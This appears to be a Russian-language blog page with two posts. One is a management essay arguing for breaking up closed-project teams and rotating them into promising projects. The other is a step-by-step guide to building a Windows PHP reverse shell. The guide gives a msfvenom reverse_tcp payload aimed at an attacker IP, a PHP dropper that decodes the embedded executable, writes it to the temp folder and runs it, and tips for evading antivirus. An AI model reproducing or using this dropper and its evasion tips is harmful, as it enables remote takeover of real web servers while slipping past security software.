Friday, January 10, 2020

Ротация кадров и Поддержка перспективных проектов

Одним из критериев глупости является выполнение одних и тех же действий 
с одновременным ожиданием разных результатов


Соотношение прибыли и убытков (P&L) - важнейшая операционная метрика проекта. На ее основе можно приоритезировать проекты и соответственно планировать ресурсы: прибыльные (или перспективные, но о стратегии поговорим в другой раз) надо развивать, убыточные можно подмораживать или полностью закрывать, а высвободившиеся ресурсы перебрасывать на выявленные прибыльные (и\или перспективные) проекты. Люди - важнейший ресурс, они эмоциональны (и это - преимущество, ибо эмоциональный человек способен работать с большей отдачей), поэтому здесь надо быть крайне осторожным, об этом и поговорим.

Сплоченная команда - великое дело: недостаточно, чтобы в национальной сборной были все звезды, важно и их взаимодействие. Есть мнение, что в разработке ПО, как и в спорте, следует сохранять "сыгранные" команды (как правило, это объясняется предсказуемостью качества результата) и, как следствие, новые перспективные проекты отдавать на реализацию в уже сработанные команды, освободившиеся после закрытия проектов. Однако это - опрометчивое управленческое решение, основанное на ошибочных стереотипах.

Хорошие эффективные команды - это те, которые работают за идею, полностью отдаваясь делу, как и шедевры не создаются исключительно за деньги. Но P&L проекта показывает необходимость его закрытия, и ресурсы надо перебрасывать на другие направления... В любом случае команду надо расформировывать, объясню почему. Допустим команда закрытого проекта - истинные поросята scrum, действительно болеющие за свой проект, - в этом случае чем более они были преданы своему закрытому проекту, тем сильнее они демотивированы происходящим. Если такую команду сохранить в полном составе, в прошлой оргструктуре и с прошлым менеджментом, то результате общения между собой эта демотивированность будет только культивироваться: "... здесь, у них, все не так, вот у нас было как надо....". В результате, как минимум, от команды точно не будет прежней отдачи (причем ее не будет тем вероятнее, чем сильнее команда была предана прежнему проекту, так как люди эмоциональны, а ведь мы стремимся развивать преданность проекту, и только переживающие за свое дело работники нам нужны, поэтому и последствия будут весьма значительными!), а как максимум, - они полностью загубят проект своим безразличием и ностальгией по прежнему закрытому проекту. Демотивация по причине закрытия проекта не позволит получить результат предполагаемого на основе прежнего опыта качества, поэтому, упомянутая ранее, гипотеза о предсказуемости качества здесь не верна.
Другой крайний случай - проектная команда абсолютные бездельники (может даже, их проект поэтому и закрылся), но в этом случае передача им перспективного направления выглядит очевидной глупостью, а от подобных индивидуумов надо аккуратно избавляться, ибо даже на сборочном конвейере отношение сборщика отражается на изделии, тем более в случае продуктов сложного интеллектуального труда.  Поскольку оба полюса ситуации имеют одинаковый исход, те же последствия имеет и любой промежуточный вариант (ну, например, когда, члены команды не полные бездельники, и\или только "почти" безразличны в отношении нового проекта, или любая другая комбинация).

Теперь, думаю, очевидна необходимость перегруппировки высвободившихся ресурсов, в любом случае необходима ротация. Особенно это важно при наличии у перспективных проектов-потребителей ресурсов своих команд, также работающих с полной отдачей (а как иначе может быть, если их проекты - перспективные?!). Пришедшие туда демотивированные работники закрытых проектов не смогут среди них распространять накопившихся в них негатив, а напротив, заразятся увлеченностью и преданностью новым задачам. Обратная ситуация, когда сработанная команда закрытого проекта назначается в полном прежнем составе и существующими оргструктурой и менеджментом на перспективный проект, абсолютно точно ведет к потере прежней команды перспективного проекта, а сам проект попадает к демотивированным или работающим на отвали (или любой вариант между) исполнителям.

Таким образом, разбавив молодые перспективные команды "старой, застоявшейся, кровью" можно будет безболезненно решить все возникшие проблемы: а) новые проекты оснастить недостающими ресурсами, а следовательно, - реализовать в нужные сроки, б) сохранить саму команду, работающую над перспективным направлением, а, следовательно, обладающую уникальной экспертизой (ведь что-то позволило им стать перспективным направлением), в) демотивированных (или работающих "как-то не так", ибо что-то же стало причиной закрытия проекта) сотрудников закрытых проектов "перевоспитать" в новых командах, заразить своим, далеко небезразличным, отношением к новому проекту - растворить "старую, застоявшуюся кровь" в "свежей новой", что в случае неизменного сохранения структуры закрытого проекта невозможно в принципе, - ребятам всегда будет казаться их закрытый проект самым лучшим, а все новое будет им чуждо, да оно и не просочится туда сквозь сохранившийся слой менеджмента.

Сведем сухой остаток в нехитрую табличку.
-->
Реализация нового проекта командой закрытого проекта, при сохранении  менеджмента старого проекта Растворение команды закрытого проекта в существующей команде нового проекта, при сохранении менеджмента нового проекта
Плюсы
Сохранение команды закрытого проекта Сохранение команды перспективного проекта
Реализация проекта сработанной командой Реализация проекта компетентной командой (или экономия времени на передаче опыта)
  Мягкое снятие демотивации участников команды старого проекта в условиях новых задач, новых коллег, нового менеджмента, как следствие - высокая вероятность успешной реализации проекта (так как перспективная команда получает необходимые ресурсы)
Минусы
Высокая вероятность потери команды перспективного проекта вместе с уникальной экспертизой Небольшая вероятность потери команды закрытого проекта
Культивация демотивации по причине закрытия проекта, как следствие - высокая вероятность неуспешной реализации нового проекта  

Мы начали со спорта, спортом и закончим. Если "сыгранная" команда в итоге показывает плохие результаты, очевидное поведение тренера - переформатировать сборную, перегруппировать игроков, сформировать другие составы, способные показать отличные от прежних результаты, поскольку, действительно странно действовать по-старому и ожидать нового.



Saturday, January 4, 2020

Сделай сам: Windows PHP reverse shell

Бывают странные люди, запускающие стек Apache-MySQL-PHP на Windows (т.е. LAMP --> WAMP). В таких случаях стандартный реверсивный PHP shell не подойдет, а использовать этот страшно, так как во-первых, он, скорее всего, без изменений не будет работать - в вызове system надо указать полный путь, а, во-вторых, меня беспокоит что там автор закодировал в $payload... Поэтому, проще все сделать самостоятельно, особенно с учетом простоты реализации.

1. Сначала сделаем нагрузку:
msfvenom -p windows/shell/reverse_tcp LHOST=10.211.55.21 LPORT=9001 -f exe >s4.exe

2. Хорошенько ее сожмем (можно сжать и на лету в п.1, как удобнее):
gzip --best s4.exe

3. Создадим PHP скрипт следующего содержания (s3.php):
<?php

header('Content-type: text/plain');

$payload = "";

$evilCode = gzdecode(base64_decode($payload));
$cmd ="C:\\windows\\temp\\svs_shell.exe";

$file = fopen($cmd, 'wb');
fwrite($file, $evilCode);
fclose($file);

$output = system($cmd);
                                    
?>

3. Закодируем нашу нагрузку в BASE64 и результат подпишем в конец созданного скрипта:
base64 -w 0 s4.exe.gz >>s3.php

4. Отредактируем скрипт так, чтобы последняя строчка BASE64 оказалась в переменной $payload:
...
$payload = "<здесь наш длинный BASE64>";
...
В редакторе vi это сделать очень просто: D - скопирует в буфер и удалит длинную строчку нагрузки, P - вставит с нужного места.

Возможна масса усовершенствований:
1. нагрузку не тащить с собой, а загружать из сети
2. нагрузку разбавить мусором и собирать по частям - это поможет обойти антивирусы (в моем случае стоял Symantec - он не среагировал и без этого трюка, аналогичное поведение продемонстрировал Defender)
3. Сделать сложную комбинацию сжатий и кодирований в BASE64, включая применение архивов с паролями - это тоже может оказаться полезным в обходе всяческих систем безопасности
4 ...

Удачи!